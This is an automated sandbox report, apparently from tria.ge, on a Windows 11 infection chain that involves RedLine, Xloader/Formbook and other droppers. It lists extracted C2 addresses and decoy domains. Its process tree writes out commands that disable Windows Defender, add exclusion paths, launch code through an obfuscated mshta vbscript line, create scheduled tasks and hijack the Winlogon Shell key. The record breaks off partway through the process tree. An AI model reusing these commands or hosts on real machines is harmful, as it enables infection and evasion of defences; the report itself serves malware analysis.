Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

10/11/2021, 14:50

211110-r7nbvaeddr 10

08/11/2021, 16:12

211108-tnmmbahgaj 10

08/11/2021, 15:26

211108-svdsbaccf6 10

08/11/2021, 14:48

211108-r6lfvshdfn 10

Analysis

  • max time kernel
    1197s
  • max time network
    1221s
  • platform
    windows11_x64
  • resource
    win11
  • submitted
    08/11/2021, 16:12

General

Malware Config

Extracted

Family

redline

Botnet

fucker2

C2

135.181.129.119:4805

Extracted

Family

redline

Botnet

Chris

C2

194.104.136.5:46013

Extracted

Family

xloader

Version

2.5

Campaign

s0iw

C2

http://www.kyiejenner.com/s0iw/

Decoy

ortopediamodelo.com

orimshirts.store

universecatholicweekly.info

yvettechan.com

sersaudavelsempre.online

face-booking.net

europeanretailgroup.com

umofan.com

roemahbajumuslim.online

joyrosecuisine.net

3dmaker.house

megdb.xyz

stereoshopie.info

gv5rm.com

tdc-trust.com

mcglobal.club

choral.works

onlineconsultantgroup.com

friscopaintandbody.com

midwestii.com

Signatures

  • Formbook

    Formbook is a data stealing malware which is capable of stealing data.

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 5 IoCs
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Suspicious use of NtCreateProcessExOtherParentProcess 35 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 8 IoCs
  • Turns off Windows Defender SpyNet reporting 2 TTPs
  • UAC bypass 3 TTPs
  • Windows security bypass 2 TTPs
  • Xloader

    Xloader is a rebranded version of Formbook malware.

  • suricata: ET MALWARE FormBook CnC Checkin (GET)

    suricata: ET MALWARE FormBook CnC Checkin (GET)

  • suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

    suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

  • suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload

    suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload

  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Xloader Payload 2 IoCs
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Adds policy Run key to start application 2 TTPs 2 IoCs
  • Blocklisted process makes network request 42 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 64 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 18 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Drops startup file 2 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 1 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Windows security modification 2 TTPs 12 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 8 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 13 IoCs
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 13 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs
  • Suspicious use of SetThreadContext 17 IoCs
  • Drops file in Program Files directory 23 IoCs
  • Drops file in Windows directory 41 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 26 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 64 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 6 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 52 IoCs
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 5 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 5 IoCs
  • Modifies system certificate store 2 TTPs 9 IoCs
  • Runs ping.exe 1 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 15 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 12 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 10 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 2 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Drops file in Program Files directory
    • Modifies registry class
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    PID:3212
    • C:\Users\Admin\AppData\Local\Temp\acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
      "C:\Users\Admin\AppData\Local\Temp\acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:964
      • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
        "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1496
        • C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\setup_install.exe
          "C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\setup_install.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2240
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3364
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1572
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3800
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4908
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Wed09ed6b36e57df5f.exe
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4028
            • C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09ed6b36e57df5f.exe
              Wed09ed6b36e57df5f.exe
              6⤵
              • Executes dropped EXE
              PID:3308
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Wed0983917533e.exe
            5⤵
              PID:2272
              • C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed0983917533e.exe
                Wed0983917533e.exe
                6⤵
                • Executes dropped EXE
                PID:1260
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1260 -s 248
                  7⤵
                  • Program crash
                  • Checks processor information in registry
                  • Enumerates system info in registry
                  PID:5308
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Wed09c4c0c3d01.exe
              5⤵
                PID:1532
                • C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09c4c0c3d01.exe
                  Wed09c4c0c3d01.exe
                  6⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3948
                  • C:\Users\Admin\AppData\Roaming\7941442.exe
                    "C:\Users\Admin\AppData\Roaming\7941442.exe"
                    7⤵
                    • Executes dropped EXE
                    PID:2324
                  • C:\Users\Admin\AppData\Roaming\5069683.exe
                    "C:\Users\Admin\AppData\Roaming\5069683.exe"
                    7⤵
                    • Executes dropped EXE
                    • Checks BIOS information in registry
                    • Checks whether UAC is enabled
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    PID:2084
                  • C:\Users\Admin\AppData\Roaming\1946948.exe
                    "C:\Users\Admin\AppData\Roaming\1946948.exe"
                    7⤵
                    • Executes dropped EXE
                    • Checks BIOS information in registry
                    • Checks whether UAC is enabled
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    PID:580
                  • C:\Users\Admin\AppData\Roaming\3154250.exe
                    "C:\Users\Admin\AppData\Roaming\3154250.exe"
                    7⤵
                    • Executes dropped EXE
                    PID:4044
                    • C:\Windows\SysWOW64\mshta.exe
                      "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Roaming\3154250.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Roaming\3154250.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )
                      8⤵
                        PID:6176
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Roaming\3154250.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Roaming\3154250.exe" ) do taskkill -f -Im "%~NXZ"
                          9⤵
                            PID:6884
                      • C:\Users\Admin\AppData\Roaming\7870271.exe
                        "C:\Users\Admin\AppData\Roaming\7870271.exe"
                        7⤵
                          PID:3880
                        • C:\Users\Admin\AppData\Roaming\2536708.exe
                          "C:\Users\Admin\AppData\Roaming\2536708.exe"
                          7⤵
                          • Executes dropped EXE
                          • Adds Run key to start application
                          PID:5456
                          • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                            "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                            8⤵
                              PID:7140
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c Wed090db89ca4c58.exe
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1348
                        • C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed090db89ca4c58.exe
                          Wed090db89ca4c58.exe
                          6⤵
                          • Executes dropped EXE
                          PID:4692
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c Wed091bab77a3bb62d.exe
                        5⤵
                          PID:4988
                          • C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed091bab77a3bb62d.exe
                            Wed091bab77a3bb62d.exe
                            6⤵
                            • Executes dropped EXE
                            • Suspicious behavior: EnumeratesProcesses
                            PID:820
                            • C:\Users\Admin\Pictures\Adobe Films\5GbJABxusvW2Pz7AK6rUlrdV.exe
                              "C:\Users\Admin\Pictures\Adobe Films\5GbJABxusvW2Pz7AK6rUlrdV.exe"
                              7⤵
                              • Executes dropped EXE
                              PID:5168
                            • C:\Users\Admin\Pictures\Adobe Films\u72LOaRxLgkK5IHOwYSqQlCm.exe
                              "C:\Users\Admin\Pictures\Adobe Films\u72LOaRxLgkK5IHOwYSqQlCm.exe"
                              7⤵
                              • Executes dropped EXE
                              • Suspicious use of SetThreadContext
                              • Suspicious behavior: MapViewOfSection
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3476
                            • C:\Users\Admin\Pictures\Adobe Films\f47U96v4E2xvAceZTVowo_Da.exe
                              "C:\Users\Admin\Pictures\Adobe Films\f47U96v4E2xvAceZTVowo_Da.exe"
                              7⤵
                              • Executes dropped EXE
                              PID:6004
                            • C:\Users\Admin\Pictures\Adobe Films\rCEAlTAUmN5DqGRox3D7HhaA.exe
                              "C:\Users\Admin\Pictures\Adobe Films\rCEAlTAUmN5DqGRox3D7HhaA.exe"
                              7⤵
                                PID:6116
                                • C:\Windows\SysWOW64\schtasks.exe
                                  schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
                                  8⤵
                                  • Creates scheduled task(s)
                                  PID:6236
                                • C:\Windows\SysWOW64\schtasks.exe
                                  schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
                                  8⤵
                                  • Creates scheduled task(s)
                                  PID:5320
                              • C:\Users\Admin\Pictures\Adobe Films\vEuOBV85K9pJ9VWlkcYMPjWC.exe
                                "C:\Users\Admin\Pictures\Adobe Films\vEuOBV85K9pJ9VWlkcYMPjWC.exe"
                                7⤵
                                  PID:2264
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c Wed09755e77ed017e8af.exe
                              5⤵
                                PID:4708
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c Wed09fbe3bf81.exe
                                5⤵
                                  PID:3292
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c Wed09f69eef9c0d5b.exe
                                  5⤵
                                    PID:4600
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Wed0968d19e5ec37794.exe
                                    5⤵
                                      PID:4636
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c Wed09d761ab4704dd931.exe
                                      5⤵
                                        PID:3944
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c Wed0900caa0501dc98f.exe
                                        5⤵
                                        • Suspicious use of WriteProcessMemory
                                        PID:4624
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c Wed0944361c3621a67a6.exe
                                        5⤵
                                        • Suspicious use of WriteProcessMemory
                                        PID:4488
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 2240 -s 620
                                        5⤵
                                        • Drops file in Windows directory
                                        • Program crash
                                        • Checks processor information in registry
                                        • Enumerates system info in registry
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:5280
                                • C:\Windows\SysWOW64\chkdsk.exe
                                  "C:\Windows\SysWOW64\chkdsk.exe"
                                  2⤵
                                  • Adds policy Run key to start application
                                  • Suspicious use of SetThreadContext
                                  • Drops file in Program Files directory
                                  • Enumerates system info in registry
                                  • Modifies Internet Explorer settings
                                  • Suspicious behavior: MapViewOfSection
                                  PID:5696
                                  • C:\Windows\SysWOW64\cmd.exe
                                    /c del "C:\Users\Admin\Pictures\Adobe Films\z485zCgApYkB9GZalmCeDduF.exe"
                                    3⤵
                                      PID:6644
                                  • C:\Windows\SysWOW64\cmmon32.exe
                                    "C:\Windows\SysWOW64\cmmon32.exe"
                                    2⤵
                                      PID:6384
                                    • C:\Windows\SysWOW64\svchost.exe
                                      "C:\Windows\SysWOW64\svchost.exe"
                                      2⤵
                                        PID:6376
                                      • C:\Windows\SysWOW64\autochk.exe
                                        "C:\Windows\SysWOW64\autochk.exe"
                                        2⤵
                                          PID:6208
                                        • C:\Windows\SysWOW64\autochk.exe
                                          "C:\Windows\SysWOW64\autochk.exe"
                                          2⤵
                                            PID:3844
                                          • C:\Windows\SysWOW64\svchost.exe
                                            "C:\Windows\SysWOW64\svchost.exe"
                                            2⤵
                                              PID:6776
                                            • C:\Windows\SysWOW64\wscript.exe
                                              "C:\Windows\SysWOW64\wscript.exe"
                                              2⤵
                                                PID:6592
                                              • C:\Users\Admin\AppData\Local\Temp\47BE.exe
                                                C:\Users\Admin\AppData\Local\Temp\47BE.exe
                                                2⤵
                                                • Suspicious use of SetThreadContext
                                                PID:5348
                                                • C:\Users\Admin\AppData\Local\Temp\47BE.exe
                                                  C:\Users\Admin\AppData\Local\Temp\47BE.exe
                                                  3⤵
                                                  • Checks SCSI registry key(s)
                                                  • Checks processor information in registry
                                                  • Enumerates system info in registry
                                                  • Suspicious behavior: MapViewOfSection
                                                  PID:2368
                                              • C:\Users\Admin\AppData\Local\Temp\9207.exe
                                                C:\Users\Admin\AppData\Local\Temp\9207.exe
                                                2⤵
                                                  PID:5564
                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 5564 -s 280
                                                    3⤵
                                                    • Program crash
                                                    PID:4908
                                                • C:\Users\Admin\AppData\Local\Temp\C760.exe
                                                  C:\Users\Admin\AppData\Local\Temp\C760.exe
                                                  2⤵
                                                    PID:4944
                                                  • C:\Users\Admin\AppData\Local\Temp\DF10.exe
                                                    C:\Users\Admin\AppData\Local\Temp\DF10.exe
                                                    2⤵
                                                      PID:3728
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 3728 -s 276
                                                        3⤵
                                                        • Program crash
                                                        • Checks processor information in registry
                                                        • Enumerates system info in registry
                                                        PID:2560
                                                    • C:\Users\Admin\AppData\Local\Temp\1AC.exe
                                                      C:\Users\Admin\AppData\Local\Temp\1AC.exe
                                                      2⤵
                                                      • Suspicious use of SetThreadContext
                                                      PID:2176
                                                      • C:\Users\Admin\AppData\Local\Temp\1AC.exe
                                                        C:\Users\Admin\AppData\Local\Temp\1AC.exe
                                                        3⤵
                                                          PID:2868
                                                      • C:\Users\Admin\AppData\Local\Temp\8AD2.exe
                                                        C:\Users\Admin\AppData\Local\Temp\8AD2.exe
                                                        2⤵
                                                          PID:1516
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1516 -s 292
                                                            3⤵
                                                            • Program crash
                                                            • Checks processor information in registry
                                                            • Enumerates system info in registry
                                                            PID:500
                                                        • C:\Users\Admin\AppData\Local\Temp\4C6.exe
                                                          C:\Users\Admin\AppData\Local\Temp\4C6.exe
                                                          2⤵
                                                            PID:2964
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 2964 -s 280
                                                              3⤵
                                                              • Program crash
                                                              • Checks processor information in registry
                                                              • Enumerates system info in registry
                                                              PID:1592
                                                          • C:\Users\Admin\AppData\Local\Temp\1292.exe
                                                            C:\Users\Admin\AppData\Local\Temp\1292.exe
                                                            2⤵
                                                              PID:2376
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com
                                                                3⤵
                                                                  PID:3136
                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com
                                                                  3⤵
                                                                    PID:3776
                                                                • C:\Users\Admin\AppData\Local\Temp\2FD0.exe
                                                                  C:\Users\Admin\AppData\Local\Temp\2FD0.exe
                                                                  2⤵
                                                                  • Suspicious use of SetThreadContext
                                                                  PID:2044
                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ipconfig /release
                                                                    3⤵
                                                                    • Blocklisted process makes network request
                                                                    PID:476
                                                                    • C:\Windows\SysWOW64\ipconfig.exe
                                                                      "C:\Windows\system32\ipconfig.exe" /release
                                                                      4⤵
                                                                      • Gathers network information
                                                                      PID:9132
                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
                                                                    3⤵
                                                                      PID:3824
                                                                      • C:\Windows\SysWOW64\PING.EXE
                                                                        "C:\Windows\system32\PING.EXE" twitter.com
                                                                        4⤵
                                                                        • Runs ping.exe
                                                                        PID:9044
                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
                                                                      3⤵
                                                                        PID:10968
                                                                        • C:\Windows\SysWOW64\PING.EXE
                                                                          "C:\Windows\system32\PING.EXE" twitter.com
                                                                          4⤵
                                                                          • Runs ping.exe
                                                                          PID:8892
                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
                                                                        3⤵
                                                                          PID:7176
                                                                          • C:\Windows\SysWOW64\PING.EXE
                                                                            "C:\Windows\system32\PING.EXE" twitter.com
                                                                            4⤵
                                                                            • Runs ping.exe
                                                                            PID:9552
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
                                                                          3⤵
                                                                            PID:3132
                                                                            • C:\Windows\System32\Conhost.exe
                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                              4⤵
                                                                              • Loads dropped DLL
                                                                              PID:5928
                                                                            • C:\Windows\SysWOW64\PING.EXE
                                                                              "C:\Windows\system32\PING.EXE" twitter.com
                                                                              4⤵
                                                                              • Runs ping.exe
                                                                              PID:6736
                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
                                                                            3⤵
                                                                              PID:2496
                                                                              • C:\Windows\SysWOW64\PING.EXE
                                                                                "C:\Windows\system32\PING.EXE" twitter.com
                                                                                4⤵
                                                                                • Runs ping.exe
                                                                                PID:4588
                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ipconfig /renew
                                                                              3⤵
                                                                                PID:7300
                                                                                • C:\Windows\SysWOW64\ipconfig.exe
                                                                                  "C:\Windows\system32\ipconfig.exe" /renew
                                                                                  4⤵
                                                                                  • Gathers network information
                                                                                  PID:5748
                                                                              • C:\Users\Admin\AppData\Local\Temp\2FD0.exe
                                                                                C:\Users\Admin\AppData\Local\Temp\2FD0.exe
                                                                                3⤵
                                                                                  PID:4176
                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4176 -s 1952
                                                                                    4⤵
                                                                                    • Program crash
                                                                                    • Checks processor information in registry
                                                                                    • Enumerates system info in registry
                                                                                    PID:4652
                                                                              • C:\Users\Admin\AppData\Local\Temp\4CAF.exe
                                                                                C:\Users\Admin\AppData\Local\Temp\4CAF.exe
                                                                                2⤵
                                                                                  PID:5632
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    "cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"
                                                                                    3⤵
                                                                                      PID:7624
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"
                                                                                        4⤵
                                                                                        • Modifies WinLogon for persistence
                                                                                        PID:7964
                                                                                    • C:\Users\Admin\AppData\Local\chromedrlver.exe
                                                                                      "C:\Users\Admin\AppData\Local\chromedrlver.exe"
                                                                                      3⤵
                                                                                      • Suspicious use of SetThreadContext
                                                                                      PID:5272
                                                                                      • C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe
                                                                                        "C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"
                                                                                        4⤵
                                                                                        • Checks processor information in registry
                                                                                        • Enumerates system info in registry
                                                                                        PID:4908
                                                                                  • C:\Users\Admin\AppData\Local\Temp\6067.exe
                                                                                    C:\Users\Admin\AppData\Local\Temp\6067.exe
                                                                                    2⤵
                                                                                    • Drops startup file
                                                                                    • Windows security modification
                                                                                    • Adds Run key to start application
                                                                                    • Checks whether UAC is enabled
                                                                                    • Suspicious use of SetThreadContext
                                                                                    • Drops file in Windows directory
                                                                                    • System policy modification
                                                                                    PID:4372
                                                                                    • C:\Users\Admin\AppData\Local\Temp\7cd0a31b-27ec-4743-b1a2-3691893047f7\AdvancedRun.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\7cd0a31b-27ec-4743-b1a2-3691893047f7\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\7cd0a31b-27ec-4743-b1a2-3691893047f7\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                                                      3⤵
                                                                                        PID:7616
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\7cd0a31b-27ec-4743-b1a2-3691893047f7\test.bat"
                                                                                          4⤵
                                                                                            PID:8160
                                                                                        • C:\Users\Admin\AppData\Local\Temp\c6878e06-c289-4add-a8f0-3ab7e4af990b\AdvancedRun.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\c6878e06-c289-4add-a8f0-3ab7e4af990b\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\c6878e06-c289-4add-a8f0-3ab7e4af990b\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                                                          3⤵
                                                                                            PID:7660
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\c6878e06-c289-4add-a8f0-3ab7e4af990b\test.bat"
                                                                                              4⤵
                                                                                                PID:7980
                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\6067.exe" -Force
                                                                                              3⤵
                                                                                                PID:9084
                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\6067.exe" -Force
                                                                                                3⤵
                                                                                                  PID:9140
                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\6067.exe" -Force
                                                                                                  3⤵
                                                                                                    PID:9464
                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
                                                                                                    3⤵
                                                                                                      PID:9824
                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
                                                                                                      3⤵
                                                                                                        PID:9984
                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
